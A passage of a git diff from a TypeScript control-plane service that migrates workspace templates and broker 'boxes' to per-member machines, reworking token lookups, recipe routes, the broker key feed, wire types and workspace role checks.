f.access_issued_at, + f.previous_refresh_hash, f.previous_rotated_at, + 'machine' AS family, m.id, m.workspace_id, m.membership_id, + ms.user_id AS principal_id, 0 AS is_broker, + COALESCE(u.platform_operator, 0) AS platform_operator + FROM machine_token_families f + JOIN machines m ON m.id = f.machine_id + JOIN memberships ms ON ms.id = m.membership_id + LEFT JOIN users u ON u.id = ms.user_id + WHERE f.refresh_hash = ?1 OR f.previous_refresh_hash = ?1 LIMIT 1`, + v: [hash], + }); +} + +async function boxRefreshRow(db: Db, hash: string): Promise { + return first(db, { + q: `SELECT f.access_hash, f.refresh_hash, f.access_issued_at, + f.previous_refresh_hash, f.previous_rotated_at, + 'box' AS family, b.id, b.principal_id, b.workspace_id, + NULL AS membership_id, b.is_broker, + COALESCE(u.platform_operator, 0) AS platform_operator + FROM box_token_families f + JOIN boxes b ON b.id = f.box_id + LEFT JOIN users u ON u.id = b.principal_id + WHERE f.refresh_hash = ?1 OR f.previous_refresh_hash = ?1 LIMIT 1`, + v: [hash], + }); +} + export async function authenticateBox( request: Request, db: Db, @@ -204,8 +244,18 @@ export async function authenticateBox( if (token === null) return null; const hash = await hashSecret(token); const row = await first(db, { - q: `SELECT f.access_hash, f.refresh_hash, f.access_issued_at, - b.id, b.principal_id, b.workspace_id, b.is_broker, + q: `SELECT f.access_hash, f.access_issued_at, m.id, m.workspace_id, + m.membership_id, ms.user_id AS principal_id, 0 AS is_broker, + COALESCE(u.platform_operator, 0) AS platform_operator + FROM machine_token_families f + JOIN machines m ON m.id = f.machine_id + JOIN memberships ms ON ms.id = m.membership_id + LEFT JOIN users u ON u.id = ms.user_id + WHERE f.access_hash = ?1 LIMIT 1`, + v: [hash], + }) ?? await first(db, { + q: `SELECT f.access_hash, f.access_issued_at, b.id, b.principal_id, + b.workspace_id, NULL AS membership_id, b.is_broker, COALESCE(u.platform_operator, 0) AS platform_operator FROM box_token_families f JOIN boxes b ON b.id = f.box_id @@ -221,6 +271,7 @@ export async function authenticateBox( id: row.id, principalId: row.principal_id, workspaceId: row.workspace_id, + membershipId: row.membership_id, isBroker: row.is_broker === 1, platformOperator: row.platform_operator === 1, }; @@ -326,7 +377,7 @@ export function addOAuthRoutes( } const boxId = crypto.randomUUID(); - const tokens = await issueBoxTokens(); + const tokens = await issueMachineTokens(); const results = await transaction(db, [ { q: `INSERT INTO boxes (id, principal_id, workspace_id, created_at) diff --git a/packages/control-plane/core/recipes.ts b/packages/control-plane/core/recipes.ts index a16d1c56..43781b1b 100644 --- a/packages/control-plane/core/recipes.ts +++ b/packages/control-plane/core/recipes.ts @@ -1,4 +1,3 @@ -import type { RecipeBootstrap } from "./bootstrap.js"; import type { Db } from "./db.js"; import { first, rows, transaction } from "./db.js"; import { WORKSPACE_REQUEST_MAX_BYTES } from "./environment.js"; @@ -19,22 +18,23 @@ import { RECIPE_HARNESSES, type AgentProvider, type CreateRecipeRequest, - type CreateWorkspaceResponse, type ListRecipesResponse, type OrgUsageCaptureResponse, type RecipeHarness, type RecipeResponse, type RecipeView, } from "./wire.js"; -import { workspaceView } from "./workspace-records.js"; -import { workspaceTemplateForCreate } from "./workspace-templates.js"; -import { performWorkspaceCreate } from "./workspaces.js"; +import { workspaceById } from "./workspace-records.js"; export interface RecipeRow { id: string; org_id: string; name: string; - template_id: string; + /** The workspace a launch clones. The wire still spells it `templateId`, + * because the template object it used to name is gone and the field now + * carries a workspace id (migration 0043). NULL on every row that predates + * the change: there was no mapping from a template to a workspace. */ + source_workspace_id: string | null; harness: RecipeHarness; model: string | null; effort: string | null; @@ -67,6 +67,7 @@ function parseRecipe(value: JsonValue): CreateRecipeRequest { if (!isRecord(value)) throw new HttpError(400, "request body must be an object"); const name = requiredString(value.name, "name", RECIPE_NAME_MAX).trim(); if (name === "") throw new HttpError(400, "name is required"); + // Legacy name, workspace id. See RecipeRow.source_workspace_id. const templateId = requiredString(value.templateId, "templateId", 256); if (!isRecipeHarness(value.harness)) { throw new HttpError(400, "harness must be claude, codex, or chat"); @@ -124,7 +125,9 @@ function recipeView(row: RecipeRow): RecipeView { const view: RecipeView = { id: row.id, name: row.name, - templateId: row.template_id, + // Empty where the row predates the template retirement: the recipe has no + // launch source until somebody edits it and picks a workspace. + templateId: row.source_workspace_id ?? "", harness: row.harness, prompt: row.prompt, }; @@ -133,6 +136,19 @@ function recipeView(row: RecipeRow): RecipeView { return view; } +/** The workspace a recipe launches from: it has to exist, in this org, and be + * live. 404s an unknown or foreign one before anything is written. */ +async function requireSourceWorkspace( + db: Db, + workspaceId: string, + orgId: string, +): Promise { + const workspace = await workspaceById(db, workspaceId); + if (workspace === null || workspace.org_id !== orgId || workspace.deleted_at !== null) { + throw new HttpError(404, "workspace not found"); + } +} + async function recipeForOrg(db: Db, id: string, orgId: string): Promise { const recipe = await first(db, { q: "SELECT * FROM recipes WHERE id = ?1 LIMIT 1", @@ -154,32 +170,6 @@ function requireRecipeEditRights(principal: Principal, recipe: RecipeRow): void } } -/** The launch's bootstrap additions, derived from a validated row. Only chat - * pins the adapter provider (`BLITZ_AGENT`); TUI recipes leave the image - * default alone. Rows are validated at write time, but a chat model can - * leave the catalog later, so the launch re-derives the provider and refuses - * loudly instead of booting a box whose BLITZ_AGENT nobody chose. */ -function recipeBootstrap(recipe: RecipeRow): RecipeBootstrap { - const bootstrap: RecipeBootstrap = recipe.harness === "chat" - ? { - harness: "chat", - agentProvider: chatAgentProvider(recipe), - prompt: recipe.prompt, - } - : { harness: recipe.harness, prompt: recipe.prompt }; - if (recipe.model !== null) bootstrap.model = recipe.model; - if (recipe.effort !== null) bootstrap.effort = recipe.effort; - return bootstrap; -} - -function chatAgentProvider(recipe: RecipeRow): AgentProvider { - const agentProvider = recipe.model === null ? null : agentProviderForModel(recipe.model); - if (agentProvider === null) { - throw new HttpError(409, "recipe model is no longer in the agent catalog; edit the recipe"); - } - return agentProvider; -} - export function addRecipeRoutes( router: CoreRouter, runtimeFactory: RuntimeFactory, @@ -212,13 +202,12 @@ export function addRecipeRoutes( const runtime = runtimeFactory(context); const principal = await memberFor(context); const input = parseRecipe(await readJson(context.req.raw, WORKSPACE_REQUEST_MAX_BYTES)); - // 404s unknown or foreign templates before anything is written. - await workspaceTemplateForCreate(runtime.db, input.templateId, principal.orgId); + await requireSourceWorkspace(runtime.db, input.templateId, principal.orgId); const id = crypto.randomUUID(); const now = Date.now(); await rows(runtime.db, { q: `INSERT INTO recipes - (id, org_id, name, template_id, harness, model, effort, prompt, + (id, org_id, name, source_workspace_id, harness, model, effort, prompt, created_by_membership_id, created_at, updated_at) VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?10)`, v: [ @@ -253,10 +242,10 @@ export function addRecipeRoutes( requireRecipeEditRights(principal, recipe); // Full replacement with the create shape, like template edits. const input = parseRecipe(await readJson(context.req.raw, WORKSPACE_REQUEST_MAX_BYTES)); - await workspaceTemplateForCreate(runtime.db, input.templateId, principal.orgId); + await requireSourceWorkspace(runtime.db, input.templateId, principal.orgId); await rows(runtime.db, { q: `UPDATE recipes - SET name = ?2, template_id = ?3, harness = ?4, model = ?5, + SET name = ?2, source_workspace_id = ?3, harness = ?4, model = ?5, effort = ?6, prompt = ?7, updated_at = ?8 WHERE id = ?1`, v: [ @@ -290,28 +279,46 @@ export function addRecipeRoutes( return context.body(null, 204); }); + /** + * Launch is parked. + * + * A recipe used to launch a workspace from a template. Templates are gone + * (migration 0043) and the replacement — clone this workspace, then deliver + * the invocation to the clone's machine — is a bigger change than the + * retirement it rides on. The route answers 400 with the reason rather than + * launching from a source it can no longer resolve. + * + * TODO(member-machines): launch by cloning `source_workspace_id` through + * `performWorkspaceCreate({ cloneFromWorkspaceId })` and pass the recipe + * bootstrap to the creator's machine. Recipe CRUD already stores the source. + */ router.post("/workspace-recipes/:id/launch", async (context) => { const runtime = runtimeFactory(context); const principal = await memberFor(context); - const recipe = await recipeForOrg(runtime.db, context.req.param("id"), principal.orgId); - const template = await workspaceTemplateForCreate( - runtime.db, - recipe.template_id, - principal.orgId, - ); - // The existing create path does everything else: template machine-type - // default, environment and agent-rule inheritance, folder attach with the - // launcher as principal (unreadable folders are skipped, not leaked), and - // the vm_limit 409, which passes straight through to the caller. - const row = await performWorkspaceCreate( - runtime, - principal, - new URL(context.req.url).origin, - { templateId: template.id }, - { recipeId: recipe.id, bootstrap: recipeBootstrap(recipe) }, + await recipeForOrg(runtime.db, context.req.param("id"), principal.orgId); + throw new HttpError( + 400, + "recipe launch is unavailable while recipes re-point from templates to workspace clones", ); - return context.json({ workspace: workspaceView(row, "owner") }, 201); }); +} + +/** Org-wide agent-usage capture. It rides in this file because the corpus it + * fills is the recipe corpus, but it is not a recipe surface: it stays + * registered while recipes are hidden. */ +export function addOrgUsageCaptureRoutes( + router: CoreRouter, + runtimeFactory: RuntimeFactory, + requirePrincipal: (context: CoreContext) => Promise, +): void { + async function memberFor(context: CoreContext): Promise { + const principal = await requirePrincipal(context); + if (principal.orgId === null || principal.membershipId === null) { + throw new HttpError(403, "active membership required"); + } + // SAFETY: orgId was null-checked immediately above; the intersection only narrows that one property. + return principal as Principal & { orgId: string }; + } async function requireAdmin(context: CoreContext): Promise { const principal = await memberFor(context); diff --git a/packages/control-plane/core/registry.ts b/packages/control-plane/core/registry.ts index 7a216ab7..94f3238a 100644 --- a/packages/control-plane/core/registry.ts +++ b/packages/control-plane/core/registry.ts @@ -21,12 +21,14 @@ import { type RegisterKeysResponse, } from "./wire.js"; -interface BoxRow { +/** A machine, with the identity it acts as resolved from its membership. The + * `boxes` row that used to carry a stored `principal_id` is gone for workspace + * guests; this join is what replaced it. */ +interface MachineRegistryRow { id: string; principal_id: string; - workspace_id: string | null; + workspace_id: string; broker_box_id: string | null; - is_broker: number; } interface FeedRow { @@ -115,13 +117,23 @@ async function requireOwnBox( return box; } -async function boxRow(db: Db, id: string): Promise { - return first(db, { - q: "SELECT * FROM boxes WHERE id = ?1 LIMIT 1", +async function machineRegistryRow(db: Db, id: string): Promise { + return first(db, { + q: `SELECT m.id, m.workspace_id, m.broker_box_id, ms.user_id AS principal_id + FROM machines m JOIN memberships ms ON ms.id = m.membership_id + WHERE m.id = ?1 LIMIT 1`, v: [id], }); } +async function isBrokerBox(db: Db, id: string): Promise { + const row = await first<{ box_id: string }>(db, { + q: "SELECT box_id FROM broker_boxes WHERE box_id = ?1 LIMIT 1", + v: [id], + }); + return row !== null; +} + /** * The least loaded broker box that is still under its `member_cap`, or null * when every box is full — at which point a human provisions another @@ -224,6 +236,8 @@ export function addRegistryRoutes( } await transaction(runtimeFactory(context).db, [ { + // A broker is still a `boxes` row: it enrols through the device-code + // flow and belongs to no workspace, so it never became a machine. q: "UPDATE boxes SET is_broker = 1, broker_box_id = NULL WHERE id = ?1", v: [box.id], }, @@ -251,9 +265,9 @@ export function addRegistryRoutes( router.post("/boxes/:id/keys", async (context) => { const box = await requireOwnBox(context, runtimeFactory); const db = runtimeFactory(context).db; - const current = await boxRow(db, box.id); - if (current === null || current.workspace_id === null || current.is_broker === 1) { - throw new HttpError(403, "only workspace boxes may register keys"); + const current = await machineRegistryRow(db, box.id); + if (current === null) { + throw new HttpError(403, "only workspace machines may register keys"); } const keys = parseBrokerKeys(await readJson(context.req.raw)); // Membership, then the box's own pin, then placement. The pin is a derived @@ -294,11 +308,11 @@ export function addRegistryRoutes( Date.now(), ], }, - // Follows the membership rather than only filling a NULL, so a box left - // pointing at a broker the member is no longer on re-wires itself on its - // next boot instead of talking to a box that will not mint for it. + // Follows the membership rather than only filling a NULL, so a machine + // left pointing at a broker the member is no longer on re-wires itself on + // its next boot instead of talking to a box that will not mint for it. { - q: `UPDATE boxes + q: `UPDATE machines SET broker_box_id = ( SELECT broker_box_id FROM broker_members WHERE principal_id = ?1 ) @@ -308,7 +322,7 @@ export function addRegistryRoutes( ]; for (const key of keys) { queries.push({ - q: `INSERT OR IGNORE INTO broker_keys (id, box_id, pubkey, operation) + q: `INSERT OR IGNORE INTO broker_keys (id, machine_id, pubkey, operation) VALUES (?1, ?2, ?3, ?4)`, v: [crypto.randomUUID(), box.id, key.pubkey, key.op], }); @@ -345,30 +359,31 @@ export function addRegistryRoutes( router.get("/boxes/:id/feed", async (context) => { const box = await requireOwnBox(context, runtimeFactory); const db = runtimeFactory(context).db; - const current = await boxRow(db, box.id); - if (current?.is_broker !== 1) throw new HttpError(403, "box is not a broker"); - // Driven by MEMBERSHIPS, with the boxes LEFT-joined on. A member whose - // workspaces have all been destroyed still appears, with an empty key - // list: that is the wire's "keep this account, serve it no keys" state. - // Deriving this from live boxes instead — as it once did — made destroying - // a member's last workspace their deprovision signal, and the broker - // answers that signal by deleting the home holding the only copy of their - // vendor refresh token. + if (!(await isBrokerBox(db, box.id))) throw new HttpError(403, "box is not a broker"); + // Driven by MEMBERSHIPS, with the machines LEFT-joined on. A member whose + // machines have all been destroyed still appears, with an empty key list: + // that is the wire's "keep this account, serve it no keys" state. Deriving + // this from live machines instead — as it once did from boxes — made + // destroying a member's last workspace their deprovision signal, and the + // broker answers that signal by deleting the home holding the only copy of + // their vendor refresh token. // - // The keys still come from boxes, and only from boxes, so destroy remains - // the revocation path: the box row goes, `broker_keys` CASCADEs with it, - // and the next poll removes those authorized_keys lines. + // The keys still come from machines, and only from machines, so destroy + // remains the revocation path: the machine row goes, `broker_keys` + // CASCADEs with it, and the next poll removes those authorized_keys lines. const result = await rows(db, { q: `SELECT member.unix_name AS unix_name, p.harnesses AS harnesses, keys.pubkey AS pubkey, keys.operation AS operation FROM broker_members member JOIN principals p ON p.id = member.principal_id - LEFT JOIN boxes box - ON box.principal_id = member.principal_id - AND box.broker_box_id = member.broker_box_id - LEFT JOIN broker_keys keys ON keys.box_id = box.id + LEFT JOIN machines machine + ON machine.broker_box_id = member.broker_box_id + AND machine.membership_id IN ( + SELECT id FROM memberships WHERE user_id = member.principal_id + ) + LEFT JOIN broker_keys keys ON keys.machine_id = machine.id WHERE member.broker_box_id = ?1 - ORDER BY member.unix_name, box.id, keys.operation, keys.pubkey`, + ORDER BY member.unix_name, machine.id, keys.operation, keys.pubkey`, v: [box.id], }); diff --git a/packages/control-plane/core/template-repos.ts b/packages/control-plane/core/template-repos.ts index 24027005..713d6fe5 100644 --- a/packages/control-plane/core/template-repos.ts +++ b/packages/control-plane/core/template-repos.ts @@ -45,44 +45,24 @@ export function parseTemplateRepos(value: JsonValue | undefined): string[] { return repos; } -export async function templateRepoRows( - db: Db, - templateIds: string[], -): Promise { - if (templateIds.length === 0) return []; - return rows(db, { - q: `SELECT template_id, repo, private FROM workspace_template_repos - WHERE template_id IN (${templateIds.map((_id, index) => `?${String(index + 1)}`).join(",")}) - ORDER BY template_id, repo`, - v: templateIds, - }); +export interface WorkspaceRepoRow { + workspace_id: string; + repo: string; + private: number; } -export async function replaceTemplateRepos( - db: Db, - templateId: string, - repos: readonly TemplateRepo[], -): Promise { - await rows(db, { - q: "DELETE FROM workspace_template_repos WHERE template_id = ?1", - v: [templateId], +/** The repos a workspace clones on first boot. Privacy gates create; row order + * keeps the emitted bootstrap script deterministic. + * + * The template tables are gone (plans/MEMBER-MACHINES.md §0), so this reads + * the workspace's own list — which is also what a clone copies. */ +export async function workspaceRepos(db: Db, workspaceId: string): Promise { + const result = await rows(db, { + q: `SELECT workspace_id, repo, private FROM workspace_repos + WHERE workspace_id = ?1 ORDER BY repo`, + v: [workspaceId], }); - for (const repo of repos) { - await rows(db, { - q: `INSERT INTO workspace_template_repos (template_id, repo, private) - VALUES (?1, ?2, ?3)`, - v: [templateId, repo.repo, repo.private ? 1 : 0], - }); - } -} - -/** The repos a workspace created from this template clones. Privacy gates - * create; row order keeps the emitted bootstrap script deterministic. */ -export async function templateRepos(db: Db, templateId: string): Promise { - return (await templateRepoRows(db, [templateId])).map((row) => ({ - repo: row.repo, - private: row.private === 1, - })); + return result.map((row) => ({ repo: row.repo, private: row.private === 1 })); } /** The list a workspace owns, whichever source chose it. Written once at diff --git a/packages/control-plane/core/types.ts b/packages/control-plane/core/types.ts index b694c80a..514c524a 100644 --- a/packages/control-plane/core/types.ts +++ b/packages/control-plane/core/types.ts @@ -1,7 +1,20 @@ +/** + * Who a guest is when it calls the control plane. + * + * Two kinds of guest present a token. A MACHINE is one member's VM in one + * workspace: `workspaceId` and `membershipId` are set, and both are read off + * the `machines` row AT CALL TIME. Nothing about the acting principal is + * stored beside the credential, which is what stops a machine acting as + * somebody it no longer belongs to. A BOX is a broker or a device-code + * enrolment: it has no workspace and acts as the principal that enrolled it. + */ export interface BoxIdentity { id: string; principalId: string; workspaceId: string | null; + /** The org membership a machine acts as. Null for a broker or device box, + * which has no workspace and therefore no workspace membership. */ + membershipId: string | null; isBroker: boolean; platformOperator: boolean; } diff --git a/packages/control-plane/core/webapp-state.ts b/packages/control-plane/core/webapp-state.ts index 1207711b..1b270a49 100644 --- a/packages/control-plane/core/webapp-state.ts +++ b/packages/control-plane/core/webapp-state.ts @@ -350,17 +350,16 @@ async function workspaceState( ): Promise { // The workspace doc is shared state: every reader gets the newest row no // matter which principal wrote it, so all accounts see one tab set and - // attach the same guest sessions. Any share (grant or org-wide, viewer - // included) may read; writes stay editor-gated in the PUT below. + // attach the same guest sessions. Any workspace member may read, viewers + // included; writes stay gated on a non-viewer role in the PUT below. return first(db, { q: `SELECT s.doc, s.updated_at FROM workspaces w LEFT JOIN webapp_state s ON s.workspace_id = w.id - LEFT JOIN workspace_grants grant - ON grant.workspace_id = w.id AND grant.membership_id = ?2 + LEFT JOIN workspace_members wm + ON wm.workspace_id = w.id AND wm.membership_id = ?2 WHERE w.id = ?1 AND w.org_id = ?3 - AND (w.owner_membership_id = ?2 OR ?4 = 'admin' - OR grant.role IS NOT NULL OR w.org_share_role IS NOT NULL) + AND (w.owner_membership_id = ?2 OR ?4 = 'admin' OR wm.role IS NOT NULL) ORDER BY s.updated_at DESC LIMIT 1`, v: [workspaceId, principal.membershipId, principal.orgId, principal.role], @@ -397,7 +396,7 @@ async function throwWorkspaceAccessError( orgId: string | null, ): Promise { const workspace = await first<{ org_id: string | null }>(db, { - q: "SELECT org_id FROM workspaces WHERE id = ?1 AND phase != 'destroyed' LIMIT 1", + q: "SELECT org_id FROM workspaces WHERE id = ?1 AND deleted_at IS NULL LIMIT 1", v: [workspaceId], }); if (workspace === null || workspace.org_id !== orgId) { @@ -463,15 +462,15 @@ export function addWebAppStateRoutes( doc.tabs.nextId = Math.max(doc.tabs.nextId, await storedNextId(db, context.req.param("id"))); // Writes keep one row per (principal, workspace); readers take the newest // row, so the doc behaves as shared last-write-wins state with no schema - // change. Editors via a personal grant or org-wide sharing may write. + // change. A workspace admin or member may write; a viewer may not. const updated = await rows(db, { q: `INSERT INTO webapp_state (principal_id, workspace_id, doc, updated_at) SELECT ?1, w.id, ?3, ?4 FROM workspaces w - LEFT JOIN workspace_grants grant - ON grant.workspace_id = w.id AND grant.membership_id = ?5 - WHERE w.id = ?2 AND w.org_id = ?6 AND w.phase != 'destroyed' + LEFT JOIN workspace_members wm + ON wm.workspace_id = w.id AND wm.membership_id = ?5 + WHERE w.id = ?2 AND w.org_id = ?6 AND w.deleted_at IS NULL AND (w.owner_membership_id = ?5 OR ?7 = 'admin' - OR grant.role = 'editor' OR w.org_share_role = 'editor') + OR wm.role IN ('admin', 'member')) ON CONFLICT(principal_id, workspace_id) DO UPDATE SET doc = excluded.doc, updated_at = excluded.updated_at RETURNING principal_id`, diff --git a/packages/control-plane/core/wire-machines.ts b/packages/control-plane/core/wire-machines.ts new file mode 100644 index 00000000..af4a7976 --- /dev/null +++ b/packages/control-plane/core/wire-machines.ts @@ -0,0 +1,116 @@ +/** The member-machines wire vocabulary (plans/MEMBER-MACHINES.md §1). + * + * Split out of `core/wire.ts` rather than added to it: that file is on the + * 700-line warn list, and the house rule is to split on touch. `core/wire.ts` + * re-exports every name here, so nothing else has to know about the seam. + * Its mirror is `packages/schema/src/workspace.ts`, held equal by + * `test/wire-drift.test.ts`. */ + +/** The stored workspace role (plans/MEMBER-MACHINES.md §3). `admin` here is + * workspace admin, which is not the org role of the same name: an org admin + * reaches every workspace of the org implicitly without holding a row. */ +export const WORKSPACE_MEMBER_ROLES = ["admin", "member", "viewer"] as const; + +export type WorkspaceMemberRole = (typeof WORKSPACE_MEMBER_ROLES)[number]; + +export const MACHINE_STATES = [ + "provisioning", + "running", + "stopped", + "error", + "destroying", + "destroyed", +] as const; + +export type MachineState = (typeof MACHINE_STATES)[number]; + +/** One member's VM. The volume is the durable half and survives a machine-type + * change; `vmId` never crosses the wire, because a provider identifier is not + * a product concept. */ +export interface MachineView { + id: string; + state: MachineState; + /** This machine's type. The workspace holds only a default. */ + machineTypeId: string; + volumeId: string | null; + membershipId: string; + error: string | null; + createdAt: number; + updatedAt: number; +} + +export interface WorkspaceMemberView { + membershipId: string; + name: string; + avatarUrl: string | null; + role: WorkspaceMemberRole; + /** Null when nothing is provisioned: `autoProvision` is off, or the member + * is a viewer, who never holds a machine. */ + machine: MachineView | null; +} + +/** A workspace credential, names only. A value never crosses the wire after + * the write that created it. */ +export interface WorkspaceCredentialView { + name: string; + label: string | null; + createdAt: number; +} + +export interface MachineResponse { + machine: MachineView; +} + +/** Same-location only: the volume stays, the VM is replaced. A type in another + * location needs a volume move, which is deferred (plan §5). */ +export interface SetMachineTypeRequest { + machineTypeId: string; +} + +export interface AddWorkspaceMemberRequest { + membershipId: string; + role: WorkspaceMemberRole; + /** Per-member override of the workspace default. */ + machineTypeId?: string; +} + +export interface UpdateWorkspaceMemberRequest { + role: WorkspaceMemberRole; +} + +/** Provisions a machine for a member row that holds none — the manual half of + * §2.1, for a workspace whose `autoProvision` is off or a member whose machine + * was destroyed. A viewer is refused: they never hold one (§2.2). */ +export interface ProvisionMemberMachineRequest { + /** Overrides the workspace default for this one machine (§1a). */ + machineTypeId?: string; +} + +export interface WorkspaceMemberResponse { + member: WorkspaceMemberView; +} + +/** + * The workspace settings write (§3, first matrix row). Every field is + * optional and an absent one is left alone, so a caller who edits the name + * does not have to restate the rest. + * + * `defaultMachineTypeId` is a default, never a restriction: changing it moves + * FUTURE provisions and touches no existing machine (§1a). `agentRuleId` takes + * an explicit null to fall back to the built-in doc. + */ +export interface UpdateWorkspaceRequest { + name?: string; + defaultMachineTypeId?: string; + autoProvision?: boolean; + agentRuleId?: string | null; +} + +/** Add or rotate: one live row per (workspace, name), so a second write to a + * live name replaces its value. */ +export interface PutWorkspaceCredentialRequest { + name: string; + label?: string; + value: string; +} + diff --git a/packages/control-plane/core/wire.ts b/packages/control-plane/core/wire.ts index e0dd1355..7631386e 100644 --- a/packages/control-plane/core/wire.ts +++ b/packages/control-plane/core/wire.ts @@ -166,8 +166,40 @@ export type Phase = (typeof PHASES)[number]; export const RETRY_ACTIONS = ["poll", "destroy", "create", "upgrade"] as const; export type RetryAction = (typeof RETRY_ACTIONS)[number] | null; +/** The ticket role. It is the access role a webApp ticket carries and the + * legacy `WorkspaceView.role`, and it is pinned by the webApp-ticket fixture + * corpus on three runtimes — so it keeps its four values and its name. + * The STORED workspace role is `WorkspaceMemberRole` below. */ export type WorkspaceRole = "owner" | "admin" | "editor" | "viewer"; +// The member-machines vocabulary lives in its own module and is re-exported +// here, so `core/wire.ts` stays under the 700-line warn while every consumer +// keeps one import. +export { + MACHINE_STATES, + WORKSPACE_MEMBER_ROLES, + type AddWorkspaceMemberRequest, + type MachineResponse, + type MachineState, + type MachineView, + type ProvisionMemberMachineRequest, + type PutWorkspaceCredentialRequest, + type SetMachineTypeRequest, + type UpdateWorkspaceMemberRequest, + type UpdateWorkspaceRequest, + type WorkspaceCredentialView, + type WorkspaceMemberResponse, + type WorkspaceMemberRole, + type WorkspaceMemberView, +} from "./wire-machines.js"; +// The three names the declarations below reference by hand. A re-export does +// not bind them locally, so they are imported as well as re-exported. +import type { + WorkspaceCredentialView, + WorkspaceMemberRole, + WorkspaceMemberView, +} from "./wire-machines.js"; + export const PHASE_TRANSITIONS = { creating: ["ready", "error"], ready: ["destroying"], @@ -224,7 +256,13 @@ export interface Volume { export interface WorkspaceView { id: string; name: string; + /** Legacy: the REQUESTING member's machine type, falling back to the + * workspace default. `defaultMachineTypeId` and `members[].machine` are the + * fields that state the model. */ machineTypeId: string; + /** Legacy: the requesting member's machine state, projected onto the old + * workspace phase so a poller still sees create finish. A workspace has no + * phase of its own — only machines have lifecycle. */ phase: Phase; retryAction: RetryAction; canObserve: boolean; @@ -241,20 +279,37 @@ export interface WorkspaceView { volumeId: string | null; error: string | null; role: WorkspaceRole | null; - orgShareRole: "editor" | "viewer" | null; owner: { name: string; avatarUrl: string | null; }; - environment: WorkspaceEnvironment | null; agentRuleId: string | null; /** Connection names the workspace's ceiling enables — its template's * stipulated providers plus any named at create. The workspace connections - * panel draws one status row per name; gated on the viewer's role like - * `environment`. */ + * panel draws one status row per name; gated on the viewer's role. */ connections: string[]; /** Present when a recipe launch created this workspace (provenance). */ recipeId?: string; + /** The member-machines fields. + * + * The only client of this view is the webapp in this repository, and it is + * built from `packages/schema` — so these are required, and a server that + * drops one fails the wire-drift gate rather than the browser. */ + orgId: string | null; + ownerMembershipId: string | null; + /** A default for new machines, never a restriction: every machine carries + * its own type and may be changed to another (§1a). */ + defaultMachineTypeId: string; + /** Provision and start a machine the moment a member is added. */ + autoProvision: boolean; + /** The caller's stored workspace role, or null when they reach this + * workspace only through implicit org-admin access. */ + myRole: WorkspaceMemberRole | null; + /** Empty for a caller who cannot open the workspace. */ + members: WorkspaceMemberView[]; + /** Names only. Populated for members and admins; empty for a caller who may + * not use them. */ + credentials: WorkspaceCredentialView[]; } export interface TemplateConnectionView { @@ -266,6 +321,20 @@ export interface TemplateRepoView { private: boolean; } +/** One repo to add to a live workspace ("owner/name"). The server derives + * `private` with the caller's own GitHub credential, exactly as create does — + * privacy is provider truth, not a client assertion. */ +export interface AddWorkspaceRepoRequest { + repo: string; +} + +/** The workspace's own clone list. A change lands on the machines provisioned + * after it: the box clones at boot, so an existing machine keeps what it + * already has until it is recreated. */ +export interface ListWorkspaceReposResponse { + repos: TemplateRepoView[]; +} + export interface GithubInstallationView { id: number; accountLogin: string; @@ -476,12 +545,25 @@ export interface ListMachineTypesResponse { } export interface CreateWorkspaceRequest { - /** Required unless templateId is set; then the template's machine type is the default. */ + /** Legacy spelling of `defaultMachineTypeId`; either satisfies the + * requirement, and `defaultMachineTypeId` wins when both are sent. */ machineTypeId?: string; - /** Creates from a workspace template: its folders attach automatically. */ + /** The default a machine takes when nothing else names one. */ + defaultMachineTypeId?: string; + /** Provision and start a machine on every member add. Default true. */ + autoProvision?: boolean; + /** Existing org members, added immediately. The creator is the first + * workspace admin and never needs a row here. */ + members?: { membershipId: string; role: WorkspaceMemberRole; machineTypeId?: string }[]; + /** The only path where a credential value is sent. */ + credentials?: { name: string; label?: string; value: string }[]; + /** Copies config — default machine type, agent rule, repos, credential + * NAMES are not copied and neither are members. The workspace is the + * template now, so this is "new workspace from existing". */ + cloneFromWorkspaceId?: string; + /** Retired with the template tables (plans/MEMBER-MACHINES.md §0). Sending + * one is refused rather than ignored. */ templateId?: string; - /** Shares the new workspace with every active org member at this role. */ - orgShareRole?: "editor" | "viewer"; name?: string; sshPublicKey?: string; volumeId?: string; @@ -490,9 +572,8 @@ export interface CreateWorkspaceRequest { /** Providers to enable in the new workspace. The manifest stays the ceiling; * this is the provision list, and the ceiling wins on conflict. */ connections?: string[]; - environment?: WorkspaceEnvironment; - /** Overrides the template's rule; null (or absent) falls back to the - * template's rule and then the built-in doc. */ + /** Overrides the clone source's rule; null (or absent) falls back to the + * source's rule and then the built-in doc. */ agentRuleId?: string | null; /** GitHub repositories ("owner/name") the box clones into /workspace. Only * for a create with no template: a template already carries its own list, diff --git a/packages/control-plane/core/workspace-access.ts b/packages/control-plane/core/workspace-access.ts index 8d26c483..cd047bea 100644 --- a/packages/control-plane/core/workspace-access.ts +++ b/packages/control-plane/core/workspace-access.ts @@ -6,7 +6,7 @@ import { cookieValue, SESSION_COOKIE } from "./principals.js"; import { hashSecret, matchesStoredHash } from "./crypto.js"; import type { CoreContext, CoreRuntime } from "./runtime.js"; import { workspaceById, type WorkspaceRow } from "./workspace-records.js"; -import type { WorkspaceRole } from "./wire.js"; +import type { WorkspaceMemberRole, WorkspaceRole } from "./wire.js"; export interface WorkspaceAccessRow { id: string; @@ -14,34 +14,120 @@ export interface WorkspaceAccessRow { owner_membership_id: string | null; } -export function canControlWorkspace( +/** What a caller may do in one workspace. + * + * `stored` is their `workspace_members` role, which is the only thing the + * matrix in plans/MEMBER-MACHINES.md §3 grades. `orgAdmin` is the implicit + * reach an org admin holds into every workspace of the org — access, and + * workspace-admin powers, but not a stored role: it disappears the moment the + * person stops being an org admin, so it is never written down. */ +export interface WorkspaceAccess { + stored: WorkspaceMemberRole | null; + orgAdmin: boolean; + owner: boolean; +} + +/** True where the caller may run the workspace: members, roles, machines, + * settings, credentials, delete. */ +export function isWorkspaceAdmin(access: WorkspaceAccess): boolean { + return access.orgAdmin || access.stored === "admin"; +} + +/** True where the caller may work in the workspace — their own machine, their + * own sessions, credential use. A viewer may not. */ +export function isWorkspaceMember(access: WorkspaceAccess): boolean { + return isWorkspaceAdmin(access) || access.stored === "member"; +} + +/** The legacy four-value access role. It is what a webApp ticket carries and + * what `WorkspaceView.role` reports, and it is pinned by fixtures on three + * runtimes, so the stored role is projected onto it rather than replacing it. + * Null means no access at all. */ +export function legacyRole(access: WorkspaceAccess): WorkspaceRole | null { + if (access.owner) return "owner"; + if (access.orgAdmin) return "admin"; + if (access.stored === "admin" || access.stored === "member") return "editor"; + if (access.stored === "viewer") return "viewer"; + return null; +} + +export 